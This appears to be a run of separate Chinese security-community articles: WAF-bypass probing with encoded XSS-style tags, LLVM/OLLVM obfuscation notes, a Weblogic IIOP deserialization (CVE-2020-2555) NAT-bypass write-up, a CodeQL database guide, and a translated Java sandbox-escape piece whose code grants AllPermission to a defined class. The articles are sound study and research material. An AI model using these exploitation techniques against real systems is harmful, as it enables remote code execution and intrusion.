3. 一收到响应我们就可以立即进行比较判断防火墙是否存在。
因为我没有装防火墙，所以我的输出是这样的:
[
# HTML标签转为Unicode或16进制实体
假设防火墙过滤了<,>的标签，我们可以用他们的unicode和十六进制实体替代去发送请求然后观察它们能否被转为原来的字符。如果这样可行的话，这可能是一个切入点。下面的代码用来检测这个过程：
listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print "---------------------------------------------------"
print response
print "---------------------------------------------------"
在每次编码后发送的请求响应中，我们会检查响应中的字符编码情况。我运行这些代码得到了下面的输出：
[
很明显被编码的字符没有得到解码。
# 结论
本文的目的是提前训练你，这样在黑客入侵前可以对防火墙进行测试加强防御。对自己的网络基础设备进行漏洞测试总是个好选择，因为我们总是关心应用的启动和运行，而忽略了安全部分。但这是不应该的，日后这可能会令人很头疼。文章中完整的代码可以[从这里下载](https://paste.ee/p/T9qb5)。
## 作者信息
Usman
Nasir，[Cyberpersions](http://cyberpersons.com/)的创始人、作者，同时也是计算机学科专业的学生。同时也作为技术支持员工服务于不同的主机公司，热爱写linux和web应用安全的文章。
[原文](http://www.kalitutorials.net/2016/12/python-detect-and-bypass-web-application-firewall.html?m=1) | 社区文章 |
## 0x01 LLVM简介
> The LLVM Project is a collection of modular and reusable compiler and
> toolchain technologies.
LLVM是模块化、可重用的编译器以及工具链的集合，有些人把LLVM当成是一个低层的虚拟机(low level virtual
machine)，但官方给出的解释是这样的:
> The name "LLVM" itself is not an acronym; it is the full name of the
> project.
也就是说LLVM并不是一个缩写，而是整个项目的全名。
LLVM和传统的编译器(GCC)是有差别的
### 传统的编译器架构
传统的编译器架构主要分为三个部分
* Frontend:前端
包括词法分析、语法分析、语义分析、中间代码生成
* Optimizer:优化器
主要是对编译前端对生成的中间代码的优化
* Backend:后端
翻译中间代码为native机器码
### LLVM编译器架构
LLVM编译器套件与传统编译器架构的不同之处主要在于
* LLVM编译器的前端其它层(优化器、后端)是分离的，LLVM专门有一个Clang子项目用来对源码进行编译，生成IR(intermediate representation)中间字节码;而传统编译器的代表(GCC)由于编译前后端耦合度太高，增加一个前端语言支持或者一个后端平台支持将会变得异常复杂。相比之下LLVM由于是分离式架构，其组件复用性就很高，增加语言/平台支持也相对容易，增加一个新的编程语言，就增加一个新的前端组件，增加一个新的平台支持，就增加一个新的后端组件。
* LLVM编译器不同的前端统一使用相同的中间码，不像GCC有各种风格(intel&ATT)
* LLVM经常被用于一些解释型语言的动态编译(优化)。类似的JAVA虚拟机(JVM)的JIT(好像现在就有厂在做基于LLVM的JAVA JIT编译器，负责将高层字节码(java-bytecode)解析成相对底层的IR中间码，之后编译成相应平台的机器码执行。
* LLVM也经常被用于一些语言的静态编译，类似的Objective-c就是使用Clang进行编译(之前其实也是使用GCC的,但现在连Xcode的内置编译器都换成Clang了)，据说编译时间是GCC的1/3，语法树占用内存是GCC的1/5，而且诊断信息可读性强，不像GCC是一大坨不容易识别的那种。
## 0x02 狭义的LLVM和广义的LLVM
广义的LLVM通常指LLVM编译器的整体架构，而狭义的LLVM通常指不包含前端，只实现中间代码优化和native码生成的部分。IR中间码需要多个pass进行一系列优化后再进行翻译。
## 0x03 字节码抽象层次
比较典型的就是java bytecode与LLVM IR之间的抽象层次比较，java bytecode与LLVM
IR都是用于描述代码运算的模型，但两者的抽象层次是不同的。之前想过一个问题，就是为什么编译器/虚拟机需要引入中间码/字节码，现在大概可以理解，源码通过编译前端语法分析后生成抽象语法树(AST),问题出现了，只是抽象语法树的话，编译器并不理解编码者的代码用意，也就不好直接通过语法树翻译可执行代码，所以才引入了一个虚拟层，对语法树进行归纳，用一种更低层级的代码(字节码)来表示，这样编译器后端就能更轻松的去解析代码，最终生成可执行代码。为什么说java的bytecode层级要高一点呢，因为java的字节码的语义和java语言的语法结构有非常直接的对应关系，包含大量的(类java的)面向对象语言的高层操作，例如虚函数，接口方法调用。说直白点，光看java字节码你就能看出这是java写的；而LLVM的IR相对来说更底层，没有暴露具体平台/语言的相关特征，所以可以理解成一种中层IR，层级比java的bytecode是要低的。
## 0x04 OLLVM
LLVM前端是Clang，当对源代码进行编译生成IR中间码以后，优化器会对IR进行优化，然后后端生成执行代码。试想一下如果IR进行优化的过程可控，那么LLVM编译后端生成的代码也会是可控的，基于这个原理，OLLVM应运而生，做法就是基于LLVM开发一些pass来对IR进行优化(修改)，然后控制生成的机器码。OLLVM本身只支持源码&中间码加固，它的保护是基于代码级别的；如果想要做基于二进制的OLLVM加固，需要首先通过反汇编引擎(类似的有capstone)把二进制程序指令抽出，并转为自己的虚拟指令，VMP代码虚拟化保护就是做的类似的工作，这种保护模式需要对指令进行抽取分析转换再植入，难度较大，对于代码混淆来说，基于LLVM对IR进行处理就行了。
下面是一些用于混淆的成熟开源项目，打算之后来一波源码分析。
[OLLVM](https://github.com/obfuscator-llvm/obfuscator)
[Hikari](https://github.com/HikariObfuscator/Hikari)
[Armariris(孤挺花)](https://github.com/GoSSIP-SJTU/Armariris)
### 1、编译
OLLVM项目中集成了LLVM，所以不需要单独安装LLVM环境，这边参照官网的说明进行编译安装。一开始用的是最新版的LLVM(version--4)，发现编译报错，果断换了一个低一点的版本，发现编译可以继续了。
这边有个坑，编译的时候说xxx已经存在，看dalao博客找到的编译选项，可以正常编译
> cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF ../obfuscator/
然后就是缓慢的编译过程。。。。。。
orz.........焦灼
编译到百分之三十多的时候，突然进度条就卡住了，然后编译过程崩溃，查了一下好像是内存分配的太少了，导致进程卡死，于是给虚拟机加了两个G，继续编译，发现报错:
> g++: internal compiler error: Killed (program cc1plus)
查了下资料发现还是内存不足。。。。(我都给了四个G了) 解决方法是加一个临时的交换分区
sudo dd if=/dev/zero of=/swapfile bs=64M count=16
sudo mkswap /swapfile
sudo swapon /swapfile
After compiling, you may wish toCode:
sudo swapoff /swapfile
sudo rm /swapfile
最后不容易终于编译成功了，build/bin目录下生成了编译前端
### 2、混淆参数
OLLVM有一些混淆参数，类似的有字符串加密、控制流扁平化、指令替换、控制流伪造等等
1、控制流扁平化
> clang -mllvm -fla test.c -o test1
2、指令替换
> clang -mllvm -sub test.c -o test2
3、控制流伪造
> clang -mllvm -bcf test.c -o test3
对比一下混淆编译之后的可执行文件大小
在文件比较小的情况下好像差别并不明显2333333，OLLVM牛逼(滑稽)。
### 3、混淆效果
先贴一下test.c的源码
在ida里面看一下混淆以后的效果
右边是开启控制流扁平化以后的程序的ida视图，左边是未添加编译保护的程序的控制流图
可以看到程序逻辑至少复杂了一个量级，而且一些常量被替换了，导致分析起来也觉得难以理解。OLLVM牛逼！！！
## 0x05 总结
这篇文章只是记录了一下学习LLVM&OLLVM的过程，其实说实话并没有进行比较详细的分析，还有一些拓展面也没有想好怎么写，等下次再填坑吧。 | 社区文章 |
**作者：r4v3zn@白帽汇安全研究院
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected] **
## 一、背景
通常在渗透的过程中会遇到很多 Weblogic 服务器，但通过 IIOP
协议进行发送序列化恶意代码包时，会面临着无法建立通讯请求发送恶意序列化失败。最近参与了一场在成都举办的《FreeTalk 2020 成都站》，有幸分享了关于
Weblogic IIOP 协议 NAT 绕过的几种方式。
PPT 下载地址：[《Weblogic IIOP 协议NAT
网络绕过》](https://img.zhiiyun.com/Weblogic_IIOP_NAT.pptx)
## 二、成果演示
Goby 工具中关于 Weblogic 基本都是用了 IIOP 协议绕过的方案，比较有代表性的漏洞为 CVE-2020-2551
漏洞。在演示中，所有的环境均为自搭建，请勿发起网络攻击。
内部工具 `weblogic-framework` 使用了多项核心技术来进行优雅的测试 Weblogic，其中也使用了 IIOP 协议的绕过方案。
## 三、协议
在开始之前，非常有比较提及一下以下这些协议相关的内容：
* RMI:远程方法调用，本质上是 RPC 服务的 JAVA 实现，底层实现是 JRMP 协议，主要场景是分布式系统。
* CORBA：跨语言（C ++、Java等）的通信体系结构，通常在 IIOP 协议中使用。
* GIOP：主要提供标准的传输语法以及 ORB 通信的信息格式标准。
* IIOP：CORBA 对象之间交流的协议，GIOP 的实现。
* RMI-IIOP：解决 RMI 和 CORBA/IIOP 无法同时使用的技术方案。
* Weblogic IIOP：Weblogic 自实现的 RMI-IIOP。
* T3：WebLogic Server 中的 RMI 通信使用 T3 协议传输 WebLogic Server 和其他 Java 程序，包括客户端及其他 WebLogic Server 实例之间 数据。
T3 协议本质上 RMI 中传输数据使用的协议，但通过上面我们看到 RMI-IIOP 是可以兼容 RMI 和 IIOP 的，所以在 Weblogic
中只要可以通过 T3 序列化恶意代码的都可以通过 IIOP 协议进行序列化，正是因为这种情况，我进入 Weblogic 第三季度深度贡献者名单。
## 四、流程
### 1、IIOP 序列化攻击流程
一般 IIOP 序列化攻击的大致流程主要为首先构建恶意序列化代码，然后初始化上下文实例，最后通过 `bind/rebind`
进行发送恶意序列化代码，下图为关键代码。
### 2、IIOP 初始化上下文流程
初始化上下文通过攻击流程中的 `new InitialContext(env)` 进行构建，最终的入口点通过 `getInitialContext`
方法进行构建，最终是进行流入到 `InitialContextFactoryImpl.getInitialContext` 进行初始化上下文。
在流入 `InitialContextFactoryImpl.getInitialContext` 之后会通过 `obj =
ORBHelper.getORBHelper().getORBReference` 来进行获取 `NameService`，然后将获取到的
`NameService` 进行实例化创建上下文实例，提供后续的执行操作。
### 3、rebind 流程
执行 `rebind` 流程中，首先会通过 `this.getContext` 方法进行获取前面所讲的上下对象，然后通过 `rebind_any`
进行发发送序列化代码，当前在此之前已经通过经过序列化的了。
在 `rebind_any` 中，首先会通过 `this._request` 进行发送 `rebind_any` 建立 Socket 通讯，最后通过
`this._invoke` 方法进行执行最终的操作发送序列化代码。
### 4、大致流程
所以最终大致的执行流程是如下图，获取 `NameService`，基于获取的信息进行创建上下文实例（获取实际连接信息），然后进行发起 `request`
请求，最后进行执行 `rebind_any` 操作。
## 五、环境准备
* Weblogic：12.1.3.0
* 协议：IIOP
* 漏洞编号：CVE-2020-2555
* 内网（Windows）：<http://10.10.10.173:7001>
* NAT 网络（ vulfocus ） ： <http://118.193.36.37:32769/> 内部 IP： 172.17.0.5([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=172.17.0.5))
NAT 网络构建通过 `http://vulfocus.fofa.so/` 进行搭建构造。
## 六、成因
在后续的调试以及研究中我们所使用的版本为 12.1.3.0 版本，漏洞为 CVE-2020-2555 漏洞，以下为漏洞
POC，以及漏洞执行链，在这里不多讲该漏洞，有兴趣的可以移步[漫谈 Weblogic
CVE-2020-2555](https://www.r4v3zn.com/posts/975312a1/)。
执行链：
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
当我们可以与 Weblogic 所处同一网段并且可达的时，可以看到是成功执行系统命令弹出计算器。
通过 Wireshark 进行抓包可以，可以看到一共通讯了 2 次，第一次发送 `LocateRequest` 类型的 `LocateRequest`
的通讯操作获取 `NameService`，第二次发送 `Request` 类型的 `rebind_any` 操作进行发送序列化代码。
而进行测试公网中的靶机时抛出 `Operation time out` 异常，具体信息如下图。
而在 Wireshark 中可以看到，与第一次获取`NameService`中的内网 IP、端口进行了 Socket 通信。
而在执行的流程中停留在了 `createEndPoint` 方法中，所以通信问题大概率是在此方法中引发的。
在 `createEndPoint` 方法中，最后通过 `MuxableSocketIIOP.createConnection` 方法进行建立 Socket
通信，此时的通信变为了 Weblogic 运行的内网 IP 和端口。
所以大体的情况为如下图，问题出现在发起 `request` 时调用的 `createEndPoint` 方法中，由于 `createEndPoint`
无法正常建立 Socket 通信导致后续的操作无法正常秩序。
其实，我们也可以在 Weblogic 启动日志中也可以看到 Weblogic 关于端口和协议分配的情况，基本分配都是内网网卡的IP和端口同时会进行监听
`0.0.0.0:7001` 来处理协议的请求操作，那么现在问题来了，公网中的 Weblogic 服务器 99% 分配的都是内网 IP 和端口。
## 七、IIOP NAT 绕过方案
由于问题发生在响应的 Weblogic 在获取 NameService 时，响应的 IP和端口为内网中的端口，导致在后续 `createEndPoint`
建立 Socket 通信，所以我们可以进行在建立 Socket 通信之前修改为正确的 IP和端口（公网中的IP和端口）。
### 1、GIOP 协议极简实现
当我们与服务器所处同一网段时，可以看到一共通讯了 2 次，第一次发送 `LocateRequest` 类型的 `LocateRequest` 的通讯操作获取
`NameService`，第二次发送 `Request` 类型的 `rebind_any` 操作进行发送序列化代码。
所以我们根据 Wireshark 中的信息，可以进行构建极简的 GIOP 实现，大体如下：
a.请求 LocateRequest，获取 NameService 以及获取 key
b.请求 Request，执行 rebind_any 操作，发送序列化代码
#### GIOP 协议
GIOP 协议大致由 Header 和 Message Type 进行构成，在 Header 包含了 Magic、Version、Message
Type、Message Size。
Message Type 的类型如下：
消息类型 | 始发方
---|---
Request | Client
Request | Server
CancelRequest | Client
LocateRequest | Client
LocateReply | Server
CloseConnection | Server
MessageError | Both
Fragment | Both
#### 实现
获取 NameService 请求代码实现：
执行 rebind_any 操作代码实现：
最终效果：
### 2、Javassist 字节码库
Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库，它使 Java
程序能够在运行时定义一个新类，并在 JVM 加载时修改类文件。
* Javassist.CtClass 是类文件的抽象表示形式
* Javassist.CtMethod 是类方法的抽象表示形式
读取类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("test.Rectangle");
创建类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
继承
`cc.setSuperclass(pool.get("test.Point"));`
写入
cc.writeFile();
cc.toClass();
需要注意的是 `toClass()` 会把当前修改的 Class 加入到当前的 `ClassLoader` 中。
创建方法
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
修改方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
ctMethod.setBody("System.out.println(\"set body\");");
ctMethod.insertBefore("System.out.println(\"set before\");");
ctMethod.insertAfter("System.out.println(\"set after\");");
通过 Javassist 进行实现时，可以通过修改建立 Socket 通信之前的方法，将 ip、端口替换为正常的 IP 和端口，在这里选取的是
`newSocket` 方法，在第一个参数为 `host`，第二个参数为 `port`。
最终修改的如下图：
#### 实现
在实现的过程中，仅需要在执行到 `newSocket` 方法时，将连接到 IP 和端口设置为正确的 IP 和 端口，核心代码如下图：
最终效果：
### 3、源代码修改
在执行的流程中最终执行到了 `createEndPoint` 方法中，从执行流程来看主要如下图所示。
在执行 `rebind` 方法发送序列化代码时，可以看到在此时已经变成了 Weblogic 内网中运行的 IP 和 端口，直到程序执行到
`createEndPoint` 抛出异常。
而执行到 `getInvocationIOR` 方法时，会调用 `IIOPRemoteRef.locateIORForRequest` 方法来进行寻找
`IOR`，并且将寻找到的 `IOR` 设置为当作当前 `IOR` 进行返回提供使用。
在进入 `locateIORForRequest` 方法之后会通过 `EndPointManager.findOrCreateEndPoint`
来进行寻找或创建结束切点，可以看到此时 `IOR` 的 `host`、`port` 变成了内网中的 IP 和端口。
在进入 `EndPointManager.findOrCreateEndPoint` 最终会执行到 `createEndPoint` 方法中来进行建立
Socket 通信，在这里由于是内网的 IP 和端口无法成功建立通信，导致后续的利用也无法继续进行。
#### 实现
大致的问题点已经确认的清楚的情况下，我们可以通过修改原始代码的方式来进行实现绕过，大体思路为：
a. 修改 `weblogic.corba.j2ee.naming.ContextImpl` 类中的 `rebind` 方法
b. 修改 `weblogic.iiop.IIOPRemoteRef` 类中 `locateIORForRequest` 方法的 ior 参数，确保正常调用
`findOrCreateEndPoint` 创建结束切点
首先修改 `weblogic.corba.j2ee.naming.ContextImpl` 类中 `rebind` 方法将正确的连接 IP
和端口加入到系统环境变量中。
最后在 `locateIORForRequest` 方法读取系统环境变量中正确的 IP 和端口并且修改 `ior` 变量中相关的连接信息。使之能够正常的执行
`findOrCreatePoint` 方法创建结束切点
最终效果：
## 八、IIOP NAT 绕过方案总结
* GIOP 协议极简实现
* 优点：原始 Socket 发包，效率较快
* 缺点：构造难度较高，需要掌握协议相关知识
* Javassist
* 优点：修改难度较低
* 缺点：程序使用完毕之后需要重启，如果使用动态加载等方案可能导致资源占用率过高
* 源代码修改
* 优点：原生代码兼容性较强
* 缺点：修改难度较大
## 九、参考文献
* <https://blog.csdn.net/weixin_33913377/article/details/94134763>
* <https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf>
* <https://www.slideserve.com/milek/13-giop-iiop-ior>
* <https://www.cnblogs.com/scy251147/p/11100961.html>
* * * | 社区文章 |
**作者：书签收藏家
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 前言
目前CodeQL依然是一套不够完善、需要不断改进的代码扫描工具，与市面上成熟的代码扫描工具仍有较大差距。网上CodeQL相关教程大部分只是官方Hello
World教程的汉化版，少部分有价值的文章也只将目光集中在CodeQL语法和QL文件的编写上。这对于分析前不需要进行编译的语言(JavaScript、TypeScript、Python)倒也没有太大影响。但在其他语言中，正确、完整地生成数据库（本文所有数据库均指由CodeQL生成的数据库）与QL文件的编写拥有同等重要的地位，为了评估CodeQL的潜力以及弥补现有资料的不足因而有了本篇文章。
### 主要内容
本文包含了大量使用CodeQL生成数据库(database)的内容，基本不包括QL文件的编写。同时也涉及到了JSP文件编译、Apache
Ant、jar包反编译与再编译等内容。
### 阅前建议
在阅读本文前建议阅读[CodeQL官方教程](https://help.semmle.com/codeql/codeql-cli/procedures/get-started.html)，尤其是其中关于[生成数据库的部分](https://help.semmle.com/codeql/codeql-cli/procedures/create-codeql-database.html)。
## 基本原理
正常使用CodeQL分析Java项目的过程可分为两部分：
1. 根据项目代码，通过代码编译过程生成数据库
2. 使用QL文件对数据库进行分析、生成bqrs文件
在使用CodeQL生成Java项目的数据库时，如果没有指定'--command'，CodeQL会根据平台的不同，调用./java/tools/autobuild.cmd或
./java/tools/autobuild.sh对项目进行分析。如果该项目的编译工具为Gradle、Maven或Ant，且能找到相应的配置文件。程序就会进入相应的流程，调用相关的编译指令对项目进行编译。CodeQL会收集项目编译过程中产生的信息，并以此生成数据库。
如果不属于Gradle、Maven、Ant中任意一种，则报错退出。
`[build-err] ERROR: Could not detect a suitable build command for the source
checkout.`
对于使用其他方式（例如Eclipse）编译的项目，只需要指定'--command'，将对应的编译指令传递给CodeQL，也可以正常地生成数据库。
因此我们完全可以编写一个通用的编译脚本来生成数据库。
#/bin/sh
# sh sh.sh ./ "-cp ./ -encoding utf-8"
cur_dir=$(pwd)
javac="/usr/bin/javac"
getdir() {
method=${2}
filetype=${3}
for element in $(ls ${1}); do
dir_or_file=${1}"/"${element}
if [ -d ${dir_or_file} ]; then
getdir ${dir_or_file} "${method}" "${filetype}"
else
if [ "${dir_or_file##*.}"x = ${filetype}x ]; then
${method} ${dir_or_file}
fi
fi
done
}
if [ -d ${1} ]; then
src=${1}
else
if [ -f ${1} ]; then
${javac} ${2} ${1}
fi
exit
fi
getdir ${src} "rm -f" "class"
if [ -n "${2}" ]; then
getdir ${src} "${javac} ${2}" "java"
else
getdir ${src} "${javac}" "java"
fi
CodeQL只收集编译过程中产生的信息，而不关心代码是怎么被编译的，或者收集到的信息是否完整。即使项目在编译过程中中断、出错，或者部分代码没有被编译，CodeQL也能正常对已收集到的信息进行正确处理。同时，只要当前项目无法产生编译信息，即使项目的编译方式是被CodeQL所支持的，也无法正常生成数据库。
导致无法正常生成数据库的常见原因有：
1. 项目缺少依赖或代码出错
2. 项目编译命令或编译配置出错
3. 编译过程被跳过(上一次编译的缓存未清除等)
CodeQL需要代码编译过程中的信息，而不关注代码编译后生成的字节码文件。因此无法通过“将上一次编译好的字节码文件拷贝到原项目中”的方式来欺骗CodeQL生成数据库。对于在编译过程中没有编译到的代码也不会被存入数据库。即使项目的编译方式是被CodeQL所支持的，要使用CodeQL对其进行分析往往也需要重写配置文件。
以靶场项目[bodgeit](https://github.com/psiinon/bodgeit)为例。项目使用Apache
Ant进行编译，项目代码包括外部依赖库(./lib)，Java代码(./src)，Web代码和资源(./root)。照理说这个项目应该是符合使用CodeQL分析的要求的，只需要按照官方教程操作即可。但在实际上，按照官方教程创建数据库后使用CodeQL官方规则(./java/ql/src/Security/CWE)分析后，在这套程序中仅仅发现了三处漏洞：
"Hard-coded credential in sensitive call","Using a hard-coded credential in a sensitive call may compromise security.","error","Hard-coded value flows to [[""sensitive call""|""relative:///src/com/thebodgeitstore/selenium/tests/FunctionalTest.java:134:33:134:42""]].","/src/com/thebodgeitstore/selenium/tests/FunctionalTest.java","134","33","134","42"
"Hard-coded credential in sensitive call","Using a hard-coded credential in a sensitive call may compromise security.","error","Hard-coded value flows to [[""sensitive call""|""relative:///src/com/thebodgeitstore/selenium/tests/FunctionalTest.java:141:33:141:42""]].","/src/com/thebodgeitstore/selenium/tests/FunctionalTest.java","141","33","141","42"
"Hard-coded credential in sensitive call","Using a hard-coded credential in a sensitive call may compromise security.","error","Hard-coded value flows to [[""sensitive call""|""relative:///src/com/thebodgeitstore/selenium/tests/FunctionalTest.java:145:30:145:39""]].","/src/com/thebodgeitstore/selenium/tests/FunctionalTest.java","145","30","145","39"
将数据库根目录下的src.zip文件解压后，造成CodeQL无法从bodgeit中找到漏洞的原因就很清楚了。可以看到其中只包含了Java代码(./src)部分，缺少了外部依赖库(./lib)以及项目中的jsp文件。对数据库文件进行分析结果也是一致的。
src.zip目录结构：
BODGEIT\ROOT
└───exp
└───bodgeit-1.4.0
└───src
└───com
└───thebodgeitstore
├───search
│ AdvancedSearch.java
│ SearchResult.java
│
├───selenium
│ └───tests
│ FunctionalTest.java
│ FunctionalZAP.java
│
└───util
AES.java
应当认识到，一个Java项目的编译与CodeQL所需要的编译并不是完全对等。Java项目的编译需要保证编译后项目中包含了所需要的字节码和代码文件，而CodeQL需要编译过程。使用项目自带的编译将导致：
* CodeQL无法分析已经预先编译好jar包
* CodeQL无法分析在运行时才被编译的jsp代码
bodgeit的漏洞代码集中在jsp文件中，如果不修改编译配置的话，CodeQL只能对其中的java代码进行分析，无法分析存在漏洞的jsp代码。
此外，bodgeit自带的编译配置没有清除上一次编译产生的缓存文件。按照官方教程重复使用该项目生成数据库，在第二次生成数据库时编译过程会被跳过，导致无法正常生成数据库。
牢记一点， **CodeQL透过编译过程生成数据库，CodeQL无法分析未被编译的代码** 。
## 分析闭源程序
如果你已经仔细阅读过以上内容，对于如何使用CodeQL分析闭源Java程序相必已胸有成竹。以下内容仅仅只是提供一些解决问题的细节。
### 示例的项目信息
该项目是一套商用闭源程序，主要提供Web服务，使用Apache Tomcat作为容器。
除去后端依赖服务后，程序代码可分为：
* Tomcat相关程序、代码和jar包
* 第三方jar
* 私有jar
* Jsp文件
* 其他静态资源文件
### 选择Java反编译工具
相信很多人第一时间想起的就是jd-gui，或者说jd-core。对比了cfr、procyon、jd-core。在实际使用中，将procyon反编译出的Java代码再编译回去产生的错误最少，因此选择使用procyon进行反编译。
### 选择Java编译器和编译方式
在该项目编译的过程中导致编译错误的原因有以下三类：
1. 项目中jsp代码出错，无法被编译
2. 缺少依赖(dead code相关的依赖)
3. Java反编译不够完美导致出错
其中1、2对CodeQL的分析几乎没有影响，3会导致部分代码无法被分析，但目前还没有办法完全解决，对于大型项目手动修复代码也基本不可能实现。
编译错误将会导致CodeQL无法分析对应的Java代码。为了减少编译错误需要使用容错率较高的ecj，而不是一编译出错就终止的javac。
可以使用bash脚本去编译代码，但使用成熟的工具会更加方便。Tomcat使用Ant编译jsp，并且还提供了[编译脚本](https://tomcat.apache.org/tomcat-7.0-doc/jasper-howto.html)，稍微修改一下就能使用。这里使用Ant进行编译。
### 确定被分析的代码范围
想要完整地生成一个完整的数据库，或许应该将所有被引用的第三方jar包、甚至Tomcat的jar包纳入分析范围。但实际上这种做法几乎不可行，具体见下一节。
如前面说的，生成数据库和编写QL同样重要，在生成数据库前需要根据QL去选择需要分析范围。
这次使用的是CodeQL官方规则(./java/ql/src/Security/CWE)，这份规则的sink集中在java和javax两个包中，也就是基本只对Java原生方法进行分析，并且没有对第三方jar包进行额外的支持。因此使用这份规则应当将Java原生方法以外的包纳入分析范围。假设规则对第三方的包(例如com.example.www)进行了适配，在生成数据库的时候就可以不对com.example.www进行反编译与再编译，从而减少需要分析的数据量，提高分析速度。
### 结果对比
本次示例项目为闭源程序，不存在直接编译的可能，根据被分析的代码范围的不同，产生了三种结果。
三种代码范围如下：
1. 只编译jsp
2. 编译jsp和jsp直接引用的jar(包括全部私有jar与少量第三方jar)
3. 编译jsp、全部的私有jar和全部的第三方jar(不包括Tomcat相关的jar)
2中的jsp直接引用的jar是通过脚本自动完成的。
在确定最大错误次数(编译jsp时，引入Tomcat相关jar，不引入其他jar)和最小错误次数(编译jsp时，引入全部jar)后，分别单独去掉每个jar后对jsp进行编译，从而确定该jar包是否被jsp直接引用。
近200个被jar包中，除了私有jar，仅有两个第三方jar(commons-lang、poi-scratchpad)被jsp直接引用，代码量减少了近两个数量级。
代码范围 | 范围1 | 范围2 | 范围3
---|---|---|---
编译错误数量 | 14条 | 172条 | 3万多条
数据库大小 | 100MB | 350MB | 2.5GB
缓存文件大小 | 50MB | 150MB | 6GB
漏洞数量 | 757条 | 20975条 | 无
在普通电脑性能下，范围1、2在一个小时内就得到了结果，但范围3在跑了10个小时后连一条规则都跑不完(java/ql/src/Security/CWE/CWE-022/TaintedPath.ql)。这除了因为基于抽象语法树的分析在代码量增加时，路径数量会以指数上升外，也因为CodeQL目前没有多核优化，使得“一核有难，十核围观”。每次分析都会重新生成缓存文件也使得大项目的分析速度异常缓慢。
整体而言，对于大型范围2效果最好，兼顾了性能，并发现了尽可能多的漏洞。对于小项目可以将所有代码一起进行分析，QL文件的编写会更为简单。不对间接引用的第三方jar包进行分析是基于目前性能考量的一种无奈之举，这将导致一部分漏洞无法被漏洞。因此分析大型项目建议针对常用的、代码量较大第三方jar包编写规则。
* * * | 社区文章 |
原文：<http://phrack.org/papers/escaping_the_java_sandbox.html>
在上一篇中，我们不仅回顾了Java沙箱的漏洞简史，介绍了Java平台的两个基本组成部分，同时，还讲解了Java安全管理器和doPrivileged方法。在本文中，我们将为读者介绍基于类型混淆漏洞的沙箱逃逸技术。
**\--[ 3 - 内存破坏漏洞**
* * *
**\----[ 3.1 - 类型混淆漏洞**
* * *
**\------[ 3.1.1 -背景知识**
* * *
在这里，我们介绍的第一种内存破坏漏洞为类型混淆漏洞[13]。实际上，许多Java漏洞都是依赖于类型混淆漏洞来实现沙箱逃避的，如[16]、[17]以及最近的[18]。简而言之，当存在类型混淆时，VM就会认为对象的类型为
_A_ ，而实际上对象的类型为 _B_ 。那么，我们如何通过类型混淆漏洞来禁用安全管理器呢？
答案是，安全分析人员可以借助类型混淆漏洞来访问那些本来无权访问的方法。对于安全分析人员来说，典型的目标就是_ClassLoader_类的defineClass()方法。为什么呢？
好吧，这种方法允许安全分析人员定义一个自定义的类（这样，就有可能控制它了），并赋予却完整的权限。因此，安全分析人员可以创建并执行自己新定义的类，并让这个类包含禁用安全管理器的代码，从而绕过所有的授权检查。
其中，方法defineClass()的访问权限为“protected”，因此，只能由类_ClassLoader_中的方法或_ClassLoader_的子类调用。由于安全分析人员无法修改_ClassLoader_中的方法，因此，唯一的选择就是利用_ClassLoader_的子类来调用defineClass()方法。但是，直接从没有相应权限的代码来实例化_ClassLoader_的子类的话，会触发安全异常，因为_ClassLoader_的构造函数会检查“Create_ClassLoader”权限。这里的窍门是，定义一个继承_ClassLoader_的子类，例如下面的_Help_类，并添加一个静态方法，并以_Help_类型的对象作为其参数。
然后，安全分析人员可以从环境中检索现有的_ClassLoader_实例，并利用类型混淆漏洞将其“强制转换”为 _Help_
。这样一来，JVM将会把方法doWork()（下面的第4行）的参数h看作是_ClassLoader_的子类（而它的实际类型是 _ClassLoader_
），这样，安全分析人员就可以访问protected方法defineClass()了（对于Java语言来说，protected方法可以从子类中进行访问）。
1: public class Help extends ClassLoader implements
2: Serializable {
3:
4: public static void doWork(Help h) throws Throwable {
5:
6: byte[] buffer = BypassExploit.getDefaultHelper();
7: URL url = new URL("file:///");
8: Certificate[] certs = new Certificate[0];
9: Permissions perm = new Permissions();
10: perm.add(new AllPermission());
11: ProtectionDomain protectionDomain = new ProtectionDomain(
12: new CodeSource(url, certs), perm);
13:
14: Class cls = h.defineClass("DefaultHelper", buffer, 0,
15: buffer.length, protectionDomain);
16: cls.newInstance();
17:
18: }
19: }
更准确地说，安全分析人员要想借助类型混淆漏洞来禁用沙箱的话，可以分三步走。首先，安全分析人员可以按如下方式检索应用程序的类加载器（这一步没有权限要求）：
Object cl = Help.class.getClassLoader();
然后，利用类型混淆漏洞，可以让VM将对象cl的类型视为 _Help_ 。
Help h = use_type_confusion_to_convert_to_Help(cl);
最后，将h作为参数提交给_Help_类的静态方法doWork()，从而禁用安全管理器。
doWork()方法首先会加载（但不执行）缓冲区中处于安全分析人员控制之下的_DefaultHelper_类的字节码（见上面代码清单中的第6行）。就像下面所示的那样，这个类将通过其构造函数中的doPrivileged()方法来禁用安全管理器。注意，这个doPrivileged()是必不可少的，主要用于防止检查整个调用堆栈的权限，因为main()也属于调用序列的一部分，并且它没有相应的权限。
1: public class DefaultHelper implements PrivilegedExceptionAction<Void> {
2: public DefaultHelper() {
